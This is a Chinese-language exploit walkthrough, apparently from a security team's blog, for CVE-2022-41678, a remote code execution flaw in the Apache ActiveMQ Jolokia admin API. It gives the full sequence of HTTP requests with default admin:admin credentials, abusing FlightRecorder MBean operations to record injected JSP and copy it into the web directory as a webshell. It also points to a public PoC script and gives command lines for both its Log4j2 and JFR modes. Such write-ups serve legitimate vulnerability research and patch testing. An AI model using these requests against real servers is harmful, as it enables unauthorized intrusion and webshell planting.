Apache ActiveMQ Jolokia后台RCE(CVE-2022-41678)
Apache ActiveMQ 在 5.16.5, 5.17.3 版本及以前,后台 Jolokia 存在一处任意文件写入导致的远程代码执行漏洞
首先,访问 /api/jolokia/list 这个 API 可以查看当前服务器里所有的 MBeans
GET /api/jolokia/list HTTP/1.1
Host: localhost:8161
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Origin: http://localhost
主要问题出在 FlightRecorder 这个 Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个
-
newRecording
新建记录 -
setConfiguration
更改配置 -
startRecording
开始录制 -
stopRecording
结束录制 -
copyTo
导出录制文件
漏洞思路是通过 setConfiguration 修改配置,把一些键名改成 JSP 代码,记录的数据就会包含该 JSP 代码,录制完成后,通过 copyTo 导出到 Web 目录即可
调用setPredefinedConfiguration,断点停下来后可以拿到默认的配置,先保存下来
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 155
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setPredefinedConfiguration",
"arguments": [1,"s"]
}
新建记录
记录的 id 为 1,后面 POC 都要使用这个 id
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
1-3.md 2025-09-05
3 / 7
Content-Type: application/json
Content-Length: 136
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "newRecording",
"arguments": []
}
更改配置
将默认配置的如下处改为 JSP 代码,特殊字符需要实体编码

如下 arguments 的第一位参数是记录 id,第二个参数是配置内容(很长,已省略)
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 31263
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setConfiguration",
"arguments": [1,"..."]
}
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 141
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "startRecording",
"arguments": [1]
}
结束录制
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
1-3.md 2025-09-05
5 / 7
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 138
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "stopRecording",
"arguments": [1]
}
POST /api/jolokia/ HTTP/1.1
Host: localhost:8161
Origin:localhost:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Content-Type: application/json
Content-Length: 159
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "copyTo",
"arguments": [1,"../webapps/admin/test.jsp"]
}
**第一个方法是使用 org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由 Log4j2 提 供的一个MBean
这个方法受到 ActiveMQ 版本的限制,因为 Log4j2 是在 5.17.0 中才引入 Apache ActiveMQ
攻击者使用这个 MBean 中的 setConfigText 操作可以更改 Log4j 的配置,进而将日志文件写入任意目录中**
下载脚本
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py
python3 CVE-2022-41678.py -u admin -p admin http://127.0.0.1:8161

Webshell 被写入在 /admin/shell.jsp 文件中

**第二个可利用的 Mbean 是 jdk.management.jfr.FlightRecorderMXBean。
FlightRecorder 是在 OpenJDK 11 中引入的特性,被用于记录 Java 虚拟机的运行事件。利用这个功能,攻击 者可以将事件日志写入任意文件**
python3 CVE-2022-41678.py -u admin -p admin --exploit jfr http://127.0.0.1:8161
作者:晨星安全团队——雾島风起時
文章标题:Apache ActiveMQ Jolokia 后台 RCE (CVE-2022-41678) 漏洞说明
文章链接:https://morningstar.xin/?post=120
本站文章均为原创,未经授权请勿用于任何商业用途







